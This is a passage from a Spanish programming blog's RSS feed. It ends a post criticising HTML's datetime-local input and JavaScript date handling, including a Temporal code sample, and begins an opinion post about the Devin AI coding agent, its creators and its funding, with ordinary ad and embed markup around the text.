seleccionar los milisegundos al usuario, lo cual realmente tiene pocas aplicaciones para la mayoría de los usuarios. Lo correcto sería cortar desde el principio, haciendo un slice desde la posición 0 hasta la sensibilidad que necesitemos.&lt;/p&gt;&#xA;&lt;p&gt;Bien, tras esto el input datetime-local funcionará y mostrará la fecha, el problema ahora es que después de validar tu campo HTML y probablemente antes de guardar esas fechas en algún medio de almacenamiento (postgres, redis, etc.), querrás realizar modificaciones, por lo que tendrás que volver a convertirlas a un objeto Date en javascript en caso de que quieras gestionarlas, lo que implica nuevamente otra conversión.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/formatting-dates-in-javascript.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/formatting-dates-in-javascript.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme que ironiza el manejo de fechas en Javascript&#34; width=&#34;740&#34; height=&#34;357&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Oh, mom! Not javascript again!&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Pero, ¿y si usamos una librería para manejar esos cambios?&lt;/p&gt;&#xA;&lt;h2 id=&#34;las-librerias-de-js-para-el-manejo-de-tiempo-no-solucionan-nada&#34;&gt;Las librerias de js para el manejo de tiempo no solucionan nada&lt;/h2&gt;&#xA;&lt;p&gt;No tengo nada en contra de usar Moment o react-datetimepicker, Dayjs, etc. De hecho creo que sus desarrolladores realizan una tarea muy digna: el simplificar el deficiente manejo de fechas de Javascript (si algún contribuidor lee esto, gracias).&lt;/p&gt;&#xA;&lt;p&gt;Esas librerías existen, porque Javascript hizo un pésimo papel al diseñar su librería estándar. Las librerías son cómodas de usar pero, en un mundo ideal, no deberían existir.&lt;/p&gt;&#xA;&lt;p&gt;Quizás pueda parecerte insignificante añadir una librería más, pero no es el peso el problema, sino el hecho de que una librería para algo tan común como el manejo de fechas sea tan necesario, además de que añade peso innecesario a tu bundle y una dependencia extra que gestionar.&lt;/p&gt;&#xA;&lt;p&gt;El hecho de que estas librerías sean populares solo pone de manifiesto las carencias de Javascript como lenguaje.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Y sí, ya sé lo que estás pensando. Aunque me gusta mucho &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;el lenguaje de programación Go&lt;/a&gt;&#xA;, también soy capaz de reconocer sus carencias y áreas de mejora.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/date_formatting_golang.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/date_formatting_golang.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;El formateo de fechas en Go también es deficiente&#34; width=&#34;766&#34; height=&#34;856&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;El formateo de fechas en Go también es deficiente&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;temporal-resolvera-todo-este-lio&#34;&gt;Temporal resolverá todo este lío&lt;/h2&gt;&#xA;&lt;p&gt;Por supuesto, tú y yo no somos los únicos que nos quejamos de las fechas en JavaScript, esto ha sido un problema durante mucho tiempo, pero nuestras plegarias han sido escuchadas y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Temporal&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Temporal parece ofrecerse como sustituto de la biblioteca original de gestión de fechas&lt;/a&gt;&#xA;. Por ahora, el soporte de los principales navegadores es mínimo, pero es solo cuestión de tiempo, finalmente tendremos una biblioteca para fechas que no sea complicada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Note that the date is stored internally as ISO 8601, even when it&amp;#39;s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// interpreted in a different calendar system. For example, even though&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2021-07-01 is 4658-05-22 in the Chinese calendar, you still pass the&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ISO date to the constructor.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; plainDate2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; Temporal.PlainDate(&lt;span style=&#34;color:#ff9f43&#34;&gt;2021&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chinese&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.log(plainDate2.toString()); &lt;span style=&#34;color:#78787e&#34;&gt;// 2021-07-01[u-ca=chinese]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;console.log(plainDate2.year); &lt;span style=&#34;color:#78787e&#34;&gt;// 4658&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;console.log(plainDate2.month); &lt;span style=&#34;color:#78787e&#34;&gt;// 5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;console.log(plainDate2.day); &lt;span style=&#34;color:#78787e&#34;&gt;// 22&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;otras-bibliotecas-para-manejar-fechas-sin-esfuerzo-en-javascript&#34;&gt;Otras bibliotecas para manejar fechas sin esfuerzo en Javascript&lt;/h2&gt;&#xA;&lt;p&gt;Mientras temporal está listo, o si tus necesidades son algo complejas, puedes usar las siguientes alternativas.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://date-fns.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Date-fns&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://moment.github.io/luxon/#/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Luxon&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tempo.formkit.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Tempo&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://momentjs.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Momentjs&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://day.js.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Dayjs&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Trabajar con Javascript es frustrante y, a veces, combinarlo con HTML resulta desesperante por su falta de coherencia interna, por si fuera poco, utilizarlo para el manejo de fechas, que requiere considerar el manejo de timezones, diferentes formas de representarlas y la sensibilidad requerida: segundos, minutos, milisegundos, etc. lo vuelve una tortura.&lt;/p&gt;&#xA;&lt;h2 id=&#34;javascript-maneja-las-fechas-de-manera-extrana&#34;&gt;Javascript maneja las fechas de manera extraña&lt;/h2&gt;&#xA;&lt;p&gt;Javascript usa los meses partiendo del índice 0 y los días del índice 1, dos objetos con la misma fecha son desiguales al compararlos con === (sí, ya sé que lo que se compara son los objetos y no las fechas), pero es justo el hecho de que no es intuitivo, al usuario del lenguaje no le interesan los objetos en memoria en si, sino lo que representan. Lenguajes como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/python-vs-javascript-cual-es-el-mejor-para-ti/&#34;&gt;Python tiene mejores abstracciones que las que maneja Javascript.&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Devin AI ¿El Supuesto Reemplazo de los Programadores?</title>
      <link>https://coffeebytes.dev/es/artificial-intelligence/devin-ai-el-supuesto-reemplazo-de-los-programadores/</link>
      <pubDate>Wed, 13 Mar 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/artificial-intelligence/devin-ai-el-supuesto-reemplazo-de-los-programadores/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Hoy se popularizó la noticia, de que un &amp;ldquo;Ingeniero de Software AI&amp;rdquo; con el nombre de Devin AI, hecho por &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.cognition-labs.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Cognition Labs&lt;/a&gt;&#xA;, estará disponible en el mercado. Y, por supuesto, provocó una fuerte reacción entre la comunidad de profesionales del software. Reacciones que van desde el cinismo hasta el miedo, pasando por la desilusión, abundan en los comentarios de los videos relacionados.&lt;/p&gt;&#xA;&lt;p&gt;Aunque aún estamos lejos de tener una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;AI consciente de si misma&lt;/a&gt;&#xA;, lo que sí tenemos son &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/&#34;&gt;LLM fine-tuneables&lt;/a&gt;&#xA; con características prometedoras que amenazan con poner patas arriba a la industria de la tecnología.&lt;/p&gt;&#xA;&lt;p&gt;¿Cómo cuales características? &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.cognition-labs.com/blog&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Segun sus creadores, Devin AI puede&lt;/a&gt;&#xA;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Usar tecnologías que no le son familiares&lt;/li&gt;&#xA;&lt;li&gt;Crear y desplegar aplicaciones&lt;/li&gt;&#xA;&lt;li&gt;Encontrar bugs automáticamente&lt;/li&gt;&#xA;&lt;li&gt;Entrenar sus propios modelos de AI&lt;/li&gt;&#xA;&lt;li&gt;Contribuir a madurar repositorios&lt;/li&gt;&#xA;&lt;li&gt;Resolver proyectos reales en Upwork (bastante más que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/pongo-a-prueba-a-chatgpt-con-desafios-de-codigo-de-codewars/&#34;&gt;resolver problemas de código de entrevistas&lt;/a&gt;&#xA;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/so-its-time-to-panic-simpsons.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/so-its-time-to-panic-simpsons.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme de los simpsons donde se pregunta si es momento de entrar en Pánico&#34; width=&#34;700&#34; height=&#34;556&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;quienes-estan-detras-de-devin-ai&#34;&gt;¿Quienes están detrás de Devin AI?&lt;/h2&gt;&#xA;&lt;p&gt;Detrás de Devin AI se encuentra Cognition labs, una empresa relativamente nueva que se habia mantenido tras bambalinas hasta ayer. Su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://twitter.com/cognition_labs&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;cuenta de Twitter&lt;/a&gt;&#xA; tiene menos de dos días al momento de escribir este artículo (aunque ya acumula más de 86 k de seguidores).&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;Today we&amp;#39;re excited to introduce Devin, the first AI software engineer.&lt;br&gt;&lt;br&gt;Devin is the new state-of-the-art on the SWE-Bench coding benchmark, has successfully passed practical engineering interviews from leading AI companies, and has even completed real jobs on Upwork.&lt;br&gt;&lt;br&gt;Devin is… &lt;a href=&#34;https://t.co/ladBicxEat&#34;&gt;pic.twitter.com/ladBicxEat&lt;/a&gt;&lt;/p&gt;&amp;mdash; Cognition (@cognition) &lt;a href=&#34;https://x.com/cognition/status/1767548763134964000?ref_src=twsrc%5Etfw&#34;&gt;March 12, 2024&lt;/a&gt;&lt;/blockquote&gt;&#xA;&lt;script async src=&#34;https://platform.x.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;quienes-componen-cognition-labs&#34;&gt;¿Quienes componen Cognition labs?&lt;/h3&gt;&#xA;&lt;p&gt;Hay cerca de 10 miembros, entre los cuales suman más de &lt;strong&gt;10 medallas de oro en la Olimpiada Internacional de Informática&lt;/strong&gt; y cuyos miembros parecen haber estado involucrados en proyectos relacionados con AI en empresas como Google, DeepMind y Scale AI. Por lo que se puede hablar de un grupo con cierto nivel de experiencia.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/meme-creador-de-devin-linuxero.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/meme-creador-de-devin-linuxero.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Representación ficticia y caricaturesca de los creadores de Devin AI&#34; width=&#34;700&#34; height=&#34;394&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Representación ficticia y caricaturesca de los creadores de Devin AI&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;quienes-financian-el-proyecto&#34;&gt;¿Quienes financian el proyecto?&lt;/h3&gt;&#xA;&lt;p&gt;Hasta el momento Cognitive Labs afirma haber recaudado cerca de &lt;strong&gt;21 MDD en una ronda liderada por Founders Fund&lt;/strong&gt;, entre los que destaca el inversionista Peter Thiel, ex-director de Paypal.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/peter-thiel-relationships.jpeg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/peter-thiel-relationships.jpeg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema de relaciones de Peter Thiel&#34; width=&#34;700&#34; height=&#34;562&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Fuente: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://knowyourmeme.com/photos/2402121-peter-thiel&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://knowyourmeme.com/photos/2402121-peter-thiel&lt;/a&gt;&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 